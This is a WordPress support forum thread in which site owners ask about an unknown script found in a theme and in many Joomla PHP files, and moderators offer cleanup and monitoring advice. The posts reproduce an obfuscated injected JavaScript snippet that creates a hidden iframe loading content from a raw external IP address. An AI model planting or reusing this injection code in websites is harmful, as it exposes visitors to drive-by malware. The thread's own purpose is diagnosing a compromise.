Title: unknown script
Last modified: August 19, 2016

---

# unknown script

 *  [presasportiva](https://wordpress.org/support/users/presasportiva/)
 * (@presasportiva)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/unknown-script/)
 * What’s this for ???
 *     ```
       <script>
       z1=document.createElement("if"+String.fromCharCode(114)+"ame");
       sz=String.fromCharCode(60-11);
       z1.setAttribute("s"+String.fromCharCode(114)+"c","http://"+"178.86."+"0.137/in."+"cgi?def"+"ault");
       z1.setAttribute("wid"+"th",sz);
       z1.setAttribute("heig"+"ht",sz);
       function zp(zb){document.body.appendChild(zb);}
       void(zp(z1));
       </script><script>
       z1=document.createElement("if"+String.fromCharCode(114)+"ame");
       sz=String.fromCharCode(60-11);
       z1.setAttribute("s"+String.fromCharCode(114)+"c","http://"+"178.86."+"0.137/in."+"cgi?def"+"ault");
       z1.setAttribute("wid"+"th",sz);
       z1.setAttribute("heig"+"ht",sz);
       function zp(zb){document.body.appendChild(zb);}
       void(zp(z1));
       </script>
       ```
   

Viewing 13 replies - 1 through 13 (of 13 total)

 *  [Samuel B](https://wordpress.org/support/users/samboll/)
 * (@samboll)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/unknown-script/#post-1906416)
 * got me
    where is it?
 *  [mostanser](https://wordpress.org/support/users/mostanser/)
 * (@mostanser)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/unknown-script/#post-1906421)
 * I have got the same script in one of the Joomla site that I was working in many
   PHP files. What is this? I found
 *     ```
       <script>
       z1=document.createElement("if"+String.fromCharCode(114)+"ame");
       sz=String.fromCharCode(60-11);
       z1.setAttribute("s"+String.fromCharCode(114)+"c","http://"+"178.86."+"0.137/in."+"cgi?def"+"ault");
       z1.setAttribute("wid"+"th",sz);
       z1.setAttribute("heig"+"ht",sz);
       function zp(zb){document.body.appendChild(zb);}
       void(zp(z1));
       </script>
       ```
   
 * Is this a virus?
 *  [mostanser](https://wordpress.org/support/users/mostanser/)
 * (@mostanser)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/unknown-script/#post-1906566)
 * anybody got any reason of this yet?
 *  Moderator [Kathryn Presner](https://wordpress.org/support/users/zoonini/)
 * (@zoonini)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/unknown-script/#post-1906568)
 * Have you tried searching your local copy of the site to see exactly which file
   this is coming from? Or is it only showing on the server?
 * If you don’t have a local copy of the site, I’d download the entire site to a
   temporary folder on your hard drive and do a search there. Knowing which file
   this is in will help narrow down the issue.
 *  [mostanser](https://wordpress.org/support/users/mostanser/)
 * (@mostanser)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/unknown-script/#post-1906572)
 * > zoonini wrote:
   > Have you tried searching your local files to see exactly which file this is
   > coming from? Or is it only showing on the server?
   >  If you only have a copy 
   > of the site on the server, I’d download the entire site to a temporary folder
   > on your hard drive and do a search there. Knowing which file this is in will
   > help narrow down the issue.
 * It was in a live site and was running properly. Suddenly today it happened. I
   had to delete all files unfortunately as a matter of urgent restoring. But it
   had been found in many PHP files in the entire Joomla site.
 * thanks
 *  Moderator [Kathryn Presner](https://wordpress.org/support/users/zoonini/)
 * (@zoonini)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/unknown-script/#post-1906573)
 * Mostanser – so you’re saying the moment this code appeared your site stopped 
   working? Sounds like something malicious, then, though I can’t find any online
   sources to verify this.
 *  [mostanser](https://wordpress.org/support/users/mostanser/)
 * (@mostanser)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/unknown-script/#post-1906575)
 * > zoonini wrote:
   > Mostanser – so you’re saying the moment this code appeared your site stopped
   > working? Sounds like something malicious, then, though I can’t find any online
   > sources to verify this.
 * correct, just wondering if anyone else got this issue. I see the member “presasportiva”
   got the same issue (may be) in wordpress. Just wanted to monitor its activity.
 * thanks
 *  Moderator [Kathryn Presner](https://wordpress.org/support/users/zoonini/)
 * (@zoonini)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/unknown-script/#post-1906576)
 * Mostanser – I would go through this checklist over at the Joomla! forums, if 
   you haven’t already:
 * Has your site been compromised? READ THIS
    [http://forum.joomla.org/viewtopic.php?f=432&t=335090](http://forum.joomla.org/viewtopic.php?f=432&t=335090)
 * Presasportiva – are you running the latest version of WP? Do you have any security
   plug-ins installed?
 * I recommend WordPress File Monitor as it emails you the moment a file has changed(
   added/edited/deleted) on the server, which can help you act on and trace malicious
   activity more easily and quickly.
 * [http://wordpress.org/extend/plugins/wordpress-file-monitor/](http://wordpress.org/extend/plugins/wordpress-file-monitor/)
 *  Thread Starter [presasportiva](https://wordpress.org/support/users/presasportiva/)
 * (@presasportiva)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/unknown-script/#post-1906615)
 * that’s a script in my wordpress template…modularity version 2.5
 * after the upgrade of latest version of wordpress my template crashes…
 * or i’ve been hacked…i don’t know yet…
 *  Thread Starter [presasportiva](https://wordpress.org/support/users/presasportiva/)
 * (@presasportiva)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/unknown-script/#post-1906616)
 * zoonini thank you very much ! i will install it asap as i find the problem…because
   all the over templates works fine…despite the Modularity one…
 * thank you
 *  [Gogi2](https://wordpress.org/support/users/gogi2/)
 * (@gogi2)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/unknown-script/#post-1906618)
 * I have a site a [Двери в Витебске](http://www.nppuni.com/) and [Гранд кафе](http://www.grand-cafe.by/),
   it on CMS DLE, my question, whether I can transfer it on CMS WORPRESS, I should
   leave design same, both the structure of a site and the menu too should remain
   same.
    P.S. Sorry for my level of English thank you
 *  Moderator [Kathryn Presner](https://wordpress.org/support/users/zoonini/)
 * (@zoonini)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/unknown-script/#post-1906633)
 * Hi Presaportiva – if that script is right in the theme files, I strongly suggest
   you contact the makers of Modularity and ask them directly about it.
 * Gogi2 – I suggest you start a new thread for your question as it’s a totally 
   new issue and will get lost here. Thanks!
 *  [gizzy](https://wordpress.org/support/users/gizzy/)
 * (@gizzy)
 * [15 years, 3 months ago](https://wordpress.org/support/topic/unknown-script/#post-1906649)
 * Yes we have recieved this in the last few days, its a virus.
 * We still have not recovered
 * [http://vuegame.com](http://vuegame.com)
 * as you can see. by the way if youve got more sites, they will have hacked them
   too

Viewing 13 replies - 1 through 13 (of 13 total)

The topic ‘unknown script’ is closed to new replies.

 * In: [Installing WordPress](https://wordpress.org/support/forum/installation/)
 * 13 replies
 * 6 participants
 * Last reply from: [gizzy](https://wordpress.org/support/users/gizzy/)
 * Last activity: [15 years, 3 months ago](https://wordpress.org/support/topic/unknown-script/#post-1906649)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics